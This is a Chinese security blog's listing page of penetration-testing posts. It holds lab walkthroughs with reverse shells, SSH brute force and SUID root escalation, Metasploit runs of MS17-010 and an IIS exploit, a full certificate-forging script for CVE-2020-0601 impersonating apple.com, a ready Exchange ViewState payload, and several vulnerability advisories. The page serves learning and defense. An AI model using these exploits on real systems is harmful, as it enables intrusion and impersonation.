首页
关于道锋
工具
友情链接
公告栏
麟图图床
麟云文件
麟云KMS
Search
1
兽装曲腿制作文档
1,313 阅读
2
Frpc使用XTCP不通过服务器传输
1,139 阅读
3
使用ReDroid打造自己的云手机
1,109 阅读
4
Cloudflare SAAS 接入自选教程
835 阅读
5
CloudFront CDN配置教程
709 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
447
篇文章
累计收到
104
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
工具
友情链接
公告栏
友人
PCD-01’s Blog
iMin博客
特资啦!个人资源分享站
黎洛云综合门户网站
1mxy笔记
三石的记录
咬一口激动的鱼
温瞳's Blog
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
小林笔记
迷失的小K
koto's Site
Abyss-博客
西西のBlog
锐冰龙小站
麟图图床
麟云文件
麟云KMS
搜索到
18
篇与
的结果
2023-08-11
D-Link Go-RT-AC750命令注入漏洞复现
D-Link Go-RT-AC750命令注入漏洞复现
2023年08月11日
165 阅读
0 评论
0 点赞
2020-08-12
Vulnhub靶场之Photographer: 1
废话不多说。下载安装先。启动kali虚拟机继续arp-scan -l查询目标ip目标:192.168.163.130,使用浏览器访问验证是目标地址使用nmap -sS -A 192.168.163.130查询相关的端口信息开放端口:80,139,445,8000刚刚80端口这边我们已经访问过了,是纯静态的内容,逐一访问,发现8000端口存在一个CMS系统是一个koken的cms,查询源码发现是0.22.24版本使用nikto扫描工具扫描目录nikto -h http://192.168.163.130:8000/可能存在admin目录,我们访问一下试试看页面设计的还不错。。。登录需要邮箱。我们目前没有,查阅exp库发现koken版本0.22.24的上传漏洞不过我没法登录,咋上传啊,首页也没有上传点呐于是乎,这个漏洞只能后期用刚刚我们发现存在445 139端口,具有smb的特征,那么,文件系统是否有值得我们搜索的东西呢使用enum4linux探索445端口 enum4linux 192.168.163.130没有账号密码,我们使用空密码连接挂载到我们本地目录下去看到有两个文件,第一个似乎是什么邮件的文件,我们cat一下那是密码吗?是邮箱号码?agi@photographer.com 或者daisa@photographer.com 密码: babygirl都试试看登录成功这样一来,刚刚的上传漏洞就能搞他了使用Kali自带的php反弹脚本来进行利用cp /usr/share/webshells/php/php-reverse-shell.php ~/yyssdd.php.jpg改一下监听端口七七八八。接下来上传,使用burp修改后缀名访问我们刚刚上传的另外在kali这边设置好监听nc -lvnp 1234监听好后开始访问,获取到反弹shell接下来python3 -c 'import pty;pty.spawn("/bin/bash")' 获取到交互式shell接下来查询关键的具有suid访问权限的程序find / -perm -u=s -type f 2>/dev/null发现有一个php7.2的东东具有权限,我们利用php7.2获取到root权限/usr/bin/php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"使用php7.2的exec调起sh执行获取到root最高权似乎是旗子,搞定
2020年08月12日
74 阅读
0 评论
0 点赞
2020-04-14
Vulnhub靶场之DC-1 Drupal
今天来进行CTF的小测试题,DC靶场1,难度不高,最适合我这种萌小新了。安装上ova虚拟包,看看访问正常不正常正常,上nmap扫描一下端口回到网站,查看robots.txt,看看有没有什么有用的信息比我还白,,,似乎是有一个古老的漏洞CVE,拿MSF打一下看看,搜索drupal开干,获取相应。然后Getshell这是撒?,这奇妙的名字,读取一波看看通过百度可知drupal的数据库配置文件在/sites/default/settings.php真是有趣,爆破、、、远程连接暂时不得动。不如来查看etc/passwdemmmmm这是啥啊?根据flag2提示暴力破解flag4账户密码,利用自带的medusa+John the Rippermedusa -M ssh -h 192.168.75.135 -u flag4 -P /usr/share/john/password.lst -e ns -F -M: 表示你要破解的类型。-h:目标机器地址。-u:用户名。-e : 尝试空密码。-F:破解成功后立即停止破解。-v:显示破解过程。very nice 但是确定是让我爆破?ssh连接目标emmmm。不是root玩毛线要想有root权限:1 以root账户登录(尝试使用爆破未果)2 普通用户登录,查找具有suid权限位的命令去get shellsuid权限位:说明可以以root权限执行命令可我这种垃圾怎么会提权,呜呜呜find / -type f -perm -u=s 2>/dev/nullfind / -type f -name shell -exec "whoami" \;我也不知道为什么要用find 哈哈哈这这这。。。root权限?find / -type f -name shell -exec "/bin/sh" \;跑一波sh试试搞定。。。
2020年04月14日
120 阅读
0 评论
0 点赞
2020-04-06
ms17010上古漏洞复现
懵逼吗,突然复现一个上古的漏洞。没办法,今天忙着给站加功能了,只能水一篇了。再加上在某“大黑客群”发现一个还在耍这个洞的“大哥”。特此水下此文。0x01 实验环境攻击机:kali linuxip:192.168.75.129目标机:windows 7ip:192.168.75.133为了确保复现成功,先把360大爷和防火墙大哥关掉先然后看看445小老弟是不是在村门口了0x02 配置exploit老规矩,先进msfconsolemsf > use exploit/windows/smb/ms17_010_eternalbluemsf exploit(ms17_010_eternalblue) > set rhost 192.168.75.133rhost => 192.168.75.133查看选项msf exploit(ms17_010_eternalblue) > show options设置目标机的IP,其他选项默认就可以;注意:选项中说明了此exploit对应的目标系统,所以并不是具有该漏洞的系统都能利用此exploit;0x03 配置payloadpayload只需要配置监听返回会话的IP;msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf exploit(ms17_010_eternalblue) > set lhost 192.168.75.129lhost => 192.168.75.1290x04 开始攻击警告:攻击过程可能导致目标系统宕机重启,谨慎操作!msf exploit(ms17_010_eternalblue) > exploit成功获得session。shell 进入主机操作
2020年04月06日
171 阅读
0 评论
0 点赞
2020-04-02
CVE-2020-0601漏洞复现与分析
第一步:生成https证书基于GitHub原作者的python脚本我修改了一些证书信息,运行下面这个python脚本将生成 www.apple.com.cn和 www.apple.com 域名的https证书。#!/usr/bin/env python3 import datetime import hashlib import os import subprocess import sys from typing import BinaryIO, Iterable, Optional, Sequence, Tuple import ecdsa.curves import ecdsa.ellipticcurve import ecdsa.numbertheory import ecdsa.util from asn1crypto import core, keys, pem, x509 def load_certificate_chain(filename: str) -> Iterable[x509.Certificate]: with open( os.path.join(os.path.dirname(os.path.abspath(__file__)), filename), "rb" ) as f: pem_bytes = f.read() for object_type, _, der_bytes in pem.unarmor(pem_bytes, multiple=True): if object_type != "CERTIFICATE": continue yield x509.Certificate.load(der_bytes) def generate_ec_private_key(name: str) -> keys.ECPrivateKey: der_bytes = subprocess.check_output( ( "openssl", "ecparam", "-name", name, "-param_enc", "explicit", "-genkey", "-noout", "-outform", "DER", ) ) return keys.ECPrivateKey.load(der_bytes) def get_exploit_generator( k: int, Qx: int, Qy: int, curve: ecdsa.curves.Curve ) -> Tuple[int, int]: k_inverse = ecdsa.numbertheory.inverse_mod(k, curve.order) Q = ecdsa.ellipticcurve.Point(curve.curve, Qx, Qy, curve.order) G = Q * k_inverse return (G.x(), G.y()) def curve_from_ec_parameters(parameters: keys.SpecifiedECDomain) -> ecdsa.curves.Curve: p = parameters["field_id"]["parameters"].native a = parameters["curve"]["a"].cast(core.IntegerOctetString).native b = parameters["curve"]["b"].cast(core.IntegerOctetString).native Gx, Gy = parameters["base"].to_coords() order = parameters["order"].native curve_fp = ecdsa.ellipticcurve.CurveFp(p, a, b) G = ecdsa.ellipticcurve.Point(curve_fp, Gx, Gy, order) return ecdsa.curves.Curve(None, curve_fp, G, (0, 0)) def digest_certificate(certificate: x509.Certificate) -> bytes: der_bytes = certificate["tbs_certificate"].dump() return hashlib.new(certificate.hash_algo, der_bytes).digest() def sign_certificate( signing_key: ecdsa.keys.SigningKey, certificate: x509.Certificate ) -> None: digest = digest_certificate(certificate) signature_bytes = signing_key.sign_digest( digest, sigencode=ecdsa.util.sigencode_der ) certificate["signature_value"] = signature_bytes def exploit_certificate( certificate: x509.Certificate, ) -> Tuple[ecdsa.keys.SigningKey, keys.ECPrivateKey]: curve_name = certificate.public_key["algorithm"]["parameters"].chosen.native ec_private_key = generate_ec_private_key(curve_name) k = ec_private_key["private_key"].native parameters = ec_private_key["parameters"].chosen nist_curve = curve_from_ec_parameters(parameters) Qx, Qy = certificate.public_key["public_key"].to_coords() Gx, Gy = get_exploit_generator(k, Qx, Qy, nist_curve) parameters["base"] = keys.ECPoint.from_coords(Gx, Gy) ec_private_key["parameters"] = parameters ec_private_key["public_key"] = certificate.public_key["public_key"] certificate.public_key["algorithm"]["parameters"] = parameters exploit_curve = curve_from_ec_parameters(parameters) signing_key = ecdsa.keys.SigningKey.from_secret_exponent(k, curve=exploit_curve) signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate["tbs_certificate"]["signature"] = signed_digest_algorithm certificate["signature_algorithm"] = signed_digest_algorithm sign_certificate(signing_key, certificate) return (signing_key, ec_private_key) def write_pem(f: BinaryIO, value: core.Asn1Value, object_type: str) -> None: print("Writing {} to {!r}".format(object_type, f.name), file=sys.stderr) der_bytes = value.dump() pem_bytes = pem.armor(object_type, der_bytes) f.write(pem_bytes) def generate_private_key( algorithm: str, ) -> Tuple[keys.PrivateKeyInfo, keys.PublicKeyInfo]: pem_bytes = subprocess.check_output( ( "openssl", "req", "-pubkey", "-noout", "-newkey", algorithm, "-keyout", "-", "-nodes", "-batch", "-outform", "PEM", ) ) pem_iter = pem.unarmor(pem_bytes, multiple=True) object_type, _, der_bytes = next(pem_iter) assert object_type == "PRIVATE KEY" private_key = keys.PrivateKeyInfo.load(der_bytes) object_type, _, der_bytes = next(pem_iter) assert object_type == "PUBLIC KEY" public_key = keys.PublicKeyInfo.load(der_bytes) return private_key, public_key def random_serial_number() -> int: return int.from_bytes(os.urandom(20), "big") >> 1 def write_tls_certificate( ca_cert: x509.Certificate, ca_cert_orig: x509.Certificate, signing_key: ecdsa.keys.SigningKey, name: str, subject: x509.Name, subject_alt_names: Sequence[str], ) -> None: private_key, public_key = generate_private_key("rsa:4096") signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate = x509.Certificate( { "tbs_certificate": { "version": "v3", "serial_number": random_serial_number(), "signature": signed_digest_algorithm, "issuer": ca_cert_orig.subject, "validity": { "not_before": x509.UTCTime( datetime.datetime(2019, 10, 24, tzinfo=datetime.timezone.utc) ), "not_after": x509.UTCTime( datetime.datetime(2020, 10, 23, tzinfo=datetime.timezone.utc) ), }, "subject": subject, "subject_public_key_info": public_key, "extensions": [ { "extn_id": "basic_constraints", "critical": True, "extn_value": {"ca": False}, }, { "extn_id": "subject_alt_name", "critical": False, "extn_value": [ x509.GeneralName({"dns_name": dns_name}) for dns_name in subject_alt_names ], }, { "extn_id": "certificate_policies", "critical": False, "extn_value": [ {"policy_identifier": "1.3.6.1.4.1.6449.1.2.1.5.1"}, ], }, ], }, "signature_algorithm": signed_digest_algorithm, } ) sign_certificate(signing_key, certificate) with open(name + ".crt", "wb") as f: write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open(name + ".key", "wb") as f: write_pem(f, private_key, "PRIVATE KEY") write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") def get_name(purpose: Optional[str] = None) -> str: components = ["www.apple.com", "aaaa"] if purpose: components.insert(1, purpose) return " ".join(components) def main() -> None: _, ca_cert, _ = load_certificate_chain( "comodoecccertificationauthority-ev-comodoca-com-chain.pem" ) ca_cert_orig = ca_cert.copy() signing_key, ec_private_key = exploit_certificate(ca_cert) with open("intermediateCA.crt", "wb") as f: write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open("intermediateCA.key", "wb") as f: write_pem(f, ec_private_key, "EC PRIVATE KEY") write_tls_certificate( ca_cert, ca_cert_orig, signing_key, "www.apple.com", x509.Name.build( { "incorporation_country": "US", "business_category": "California", "serial_number": "C0805582", "country_name": "US", "common_name": "www.apple.com", "organization_name": "Apple Inc.", "organizational_unit_name": "Internet Services for Akamai", } ), ("www.apple.com.cn", "www.apple.com"), ) if __name__ == "__main__": main()第二步:部署https网站将生成的https证书(www.apple.com.crt)和私钥文件(www.apple.com.key)部署到Nginx上,并启动Nginx。第三步:修改hosts文件在hosts文件中添加 www.apple.com 域名的解析记录,将 www.apple.com 解析到本地服务器。第四步:访问www.apple.com网站Edge浏览器访问假网站:IE浏览器访问假网站不过,火狐大法就不管用了0x02 椭圆曲线数字签名算法(ECDSA)在2009年修订的FIPS 186加入了基于椭圆曲线密码的数字签名方法,称其为椭圆曲线数字签名算法(ECDSA)。由于椭圆曲线密码效率方面的优势,ECDSA的应用越来越广泛。ECDSA算法过程如下:参与数字签名的所有方都使用相同的全局域参数,用于定义椭圆曲线以及曲线上的基点。签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥,使用随机数和基点,可以计算椭圆曲线上的另一个解点,作为公钥。对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名,包括两个整数r和s。验证者使用签名者的公钥、全局域参数、整数s作为输入,计算v,并与r比较。如果两者相等,则签名通过。0x03 漏洞原理通常,签名者产生一对公私钥后,要去证书中心(certificate authority,简称CA),为公钥做认证,以此来证明签名者本身身份。证书中心用自己的私钥,对签名者的公钥和一些相关信息一起做签名,生成数字证书(Digital Certificate)。由补丁分析部分可知,微软在对数字签名做合法校验时,支持椭圆曲线参数的自定义输入,又只对公钥信息做校验,存在严重缺陷。攻击者可以传入自定义的全局域参数、签名信息s,只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate Authority 2018的公钥保持一致,就可以绕过校验逻辑,让数字签名信息看起来就是ECC根证书签发的一样。而这,是很容易做到的。假设ECC根证书的私钥是d(对攻击者未知),基点是G,公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线,只需d’=1(单位元),G‘=Q,则Q‘=d’G’=Q,从而完成攻击。
2020年04月02日
58 阅读
0 评论
0 点赞
2020-03-31
iis6.0远程代码执行漏洞复现(CVE-2017-7269)
一.实验环境搭建1.目标机:windows server 2003 r2需要目标服务器开启WebDAV靶机IP:192.168.75.134Kali IP : 192.168.75.129kali中启动Msf,使用CVE-2017-7269攻击插件use exploit/windows/iis/cve_2017_7269没有这个插件的老铁,还麻烦您 在https://github.com/zcgonvh/cve-2017-7269 下载脚本,并且 把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下,然后reload_all进行启用使用show options查看相关攻击参数set RHOSTS 192.168.75.134set HttpHost 192.168.75.134设置返回载荷set payload windows/meterpreter/reverse_tcp使用exploit 或者run进行攻击获取到连接输入shell命令,来到了我们所熟悉的界面查看当前用户权限,whoami普通权限,但是可以通过msf的上传功能传递木马或者提权脚本
2020年03月31日
328 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】php-fpm在特定nginx配置下远程代码执行漏洞(CVE-2019-11043)
漏洞描述nginx 配置项 fastcgi_split_path_info 在处理带有 %0a 的请求时遇到换行符 \n 会导致 PATH_INFO 为空,进而导致特定的攻击请求会修改php-fpm进程中的相关配置,在特殊配置情况下可导致远程代码执行漏洞,相关漏洞配置类似如下:``` location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... } }漏洞评级CVE-2019-11043 中危安全建议删除或修改如下配置,防止.php之后可传入任意字符(可能会影响正常业务):``` fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; ``` 相关链接https://bugs.php.net/bug.php?id=78599https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
2020年03月25日
53 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Harbor 多个高危漏洞(CVE-2019-19029、CVE-2019-19026等)
漏洞描述Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.8.6和1.9.3之前版本的部分接口存在权限提升、SQL注入、用户枚举等多个高危漏洞。攻击者通过构造特定请求,可利用SQL注入获取大量敏感数据,或者将低权限账户提升为管理员权限账户,从而接管Harbor镜像仓库。漏洞评级CVE-2019-19023(高危)普通用户可以通过进行API调用来修改特定用户的电子邮件地址,从而获得管理员帐户特权。CVE-2019-19029(高危)Project-Admin功能权限用户可以利用Harbor API接口user-groups SQL注入漏洞从底层数据库读取机密信息或权限提升。CVE-2019-19026(中危)经过身份验证的管理员可以通过GET参数sort发送特制的SQL有效负载,从而允许从数据库中提取敏感信息。CVE-2019-3990(中危)/api/users/search 接口用户枚举漏洞。CVE-2019-19025(低危)Harbor Web界面缺少CSRF保护漏洞。影响版本Harbor 1.7.xHarbor 1.8.x < 1.8.6Harbor 1.9.x < 1.9.3安全版本Harbor 1.8.x >= 1.8.6Harbor 1.9.x >= 1.9.3安全建议升级Harbor版本到安全版本参考下载链接:https://github.com/goharbor/harbor/releases相关链接https://github.com/goharbor/harbor/security/advisories
2020年03月25日
149 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】jackson-databind 反序列化远程代码执行漏洞(CVE-2020-8840)
漏洞描述jackson-databind是一套开源java高性能JSON处理器,受影响版本的jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行,漏洞需要配合xbean-reflect-*.jar组件才能成功利用,影响面适中。风险评级CVE-2020-8840 中危影响版本jackson-databind 2.9系列 < 2.9.10.3jackson-databind 2.8系列 < 2.8.11.5jackson-databind 低于2.8系列安全版本jackson-databind 2.10系列 全版本jackson-databind 2.9系列 >= 2.9.10.3jackson-databind 2.8系列 >= 2.8.11.5安全建议以下任意一种方法均可实现漏洞修复1、针对使用到jackson-databind组件的web服务升级jackson-databind组件至安全版本:https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.10.3/https://github.com/FasterXML/jackson-databind/releases2、针对无法升级jackson-databind的,排查并将xbean-reflect-*.jar组件从应用依赖中移除可阻止漏洞攻击(可能会导致应用不可用风险)相关链接https://github.com/FasterXML/jackson-databind/issues/2620https://nvd.nist.gov/vuln/detail/CVE-2020-8840https://github.com/FasterXML/jackson-databind/releases
2020年03月25日
257 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞
漏洞描述Nginx是一个高性能的HTTP和反向代理web服务器,OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷,以及OpenResty在ngx.req.set_uri()实现上存在缺陷,如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri(),则攻击者可能可以通过构造恶意请求,从而造成内存泄漏或者目录穿越漏洞。影响版本nginx <= v1.17.7openresty <= v1.15.8.2安全建议1. Nginx更新至安全版本>=v1.17.92. 以下是存在漏洞的配置片段,建议用户自检查配置文件,并禁用相关危险配置。location ~ /memleak { rewrite_by_lua_block { ngx.req.read_body(); local args, err = ngx.req.get_post_args(); ngx.req.set_uri( args["url"], true ); } } location ~ /rewrite { rewrite ^.*$ $arg_x; } 相关链接https://www.openwall.com/lists/oss-security/2020/03/18/1https://hackerone.com/reports/513236
2020年03月25日
207 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】通达OA 高危漏洞预警
漏洞描述通达OA是一套办公系统。近日通达OA官方在官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件。攻击者通过构造恶意请求,上传webshell等恶意文件,并对入侵的服务器进行文件加密,勒索高额匿名货币赎金。影响版本V11版2017版2016版2015版2013增强版2013版安全建议通达OA官方已经发布相应安全加固程序,请根据当前OA版本选择所对应的程序文件,运行前请先做好备份。安全更新下载地址:http://www.tongda2000.com/news/673.php相关链接http://club.tongda2000.com/forum.php?mod=viewthread&tid=128377&extra=page%3D1
2020年03月25日
39 阅读
0 评论
0 点赞
2020-03-19
CVE-2020-0688 exchange远程代码执行漏洞复现
影响版本Microsoft Exchange Server 2010 Service Pack 3Microsoft Exchange Server 2013Microsoft Exchange Server 2016Microsoft Exchange Server 2019漏洞原理这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。具体来说,与正常软件安装每次都会产生随机密钥不同,所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。复现过程1、需要变量想要利用该漏洞,我们需要四个参数,分别为:–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)–validationalg = SHA1(默认,漏洞产生原因)–generator=B97B4E27(基本默认)–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)在这四个变量中,前两个为默认固定,viewstateuserkey和generator的值需要从经过身份验证的session中收集。viewstateuserkey可以从ASP.NET的_SessionID cookie中获取,而generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到。所有这些都可以通过浏览器中的工具轻松获取。2、获取viewstateuserkey和generator值在正常登录后访问 /ecp/default.aspx 页面。使用F12开发者工具的Network选项,刷新页面重新发送请求,找到登录时/ecp/default.aspx的原始响应。在Headers选项卡找到ASP.NET_SessionId的cookie:如果未找到此字段不必慌张,直接使用默认值B97B4E27 即可。3、使用工具生成payload使用ysoserial.net工具生成反序列化payload。 工具下载地址:https://github.com/pwntester/ysoserial.net/生成payload命令:ysoserial.exe-p ViewState -g TextFormattingRunProperties -c "calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27" --viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug --islegacy4、构造攻击地址在生成完payload代码后,需要对该代码进行URL Encode编码构造一个URL/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>将最开始获得的__VIEWSTATEGENERATOR值替换<generator>,将URL Encode编码后的payload替换<ViewState>。示例:https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuR**ybWF0dGluZy5UZXh0R**ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVnc**1bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljc**zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h4H7xCU%3D5、访问地址并成功执行访问构造好的URL地址,服务器会弹出500的错误,但攻击其实成功了。登录服务器查看进程,发现计算器成功启动。其他问题1、关于版本网上一些说法该漏洞对大版本的小版本有限制。其实不是这样的,应该是全版本通杀的。本人测试环境server 12 + exchange 2013。测试过15.0.516.32(2012 年12月3日)和15.0.1497.2(2019年6月18日)也就是update23,均存在漏洞,可以复现成功,16,19未测试,应该差不多。2、__VIEWSTATEGENERATOR在最初版本的时候一直没有这个参数(确实不重要,基本为默认值),造成这一问题的主要原因是没有更新系统补丁KB2919355,更新该补丁后就会出现__VIEWSTATEGENERATOR字段。3、无法创建文件大部分复现者只复现到启动计算器,但是却无法创建文件。但经过测试发现问题出在ysoserial.exe的-c参数上,虽然在演示过程中可以直接-c “echo OOOPS!!! > c:/Vuln_Server.txt”创建文件,让人误以为-c是在cmd窗口下运行,但是实际上-c实际为“运行”的内容,因此直接echo是不行的,需要-c “cmd /c echo test > C:\1.txt”,经测试成功创建文件,如图所示:4、URL Encode编码对生成的payload编码时,需要注意只编码关键的特殊字符即可,如果全编码的话会无法利用成功。修复建议1、建议及时更新相关补丁产品文章下载Microsoft Exchange Server 2010 Service Pack 3更新汇总304536989安全更新Microsoft Exchange Server 2013累积更新234536988安全更新Microsoft Exchange Server 2016累积更新144536987安全更新Microsoft Exchange Server 2016累积更新154536987安全更新Microsoft Exchange Server 2019累积更新34536987安全更新Microsoft Exchange Server 2019累积更新44536987安全更新2、限制Exchange Control Panel (ECP)组件页面访问权限由于该漏洞需要利用Exchange Control Panel (ECP)组件,因此禁止此组件访问也不失为一个较为有效的应急方法,建议条件允许的情况下及时更新补丁。
2020年03月19日
56 阅读
0 评论
0 点赞
1
2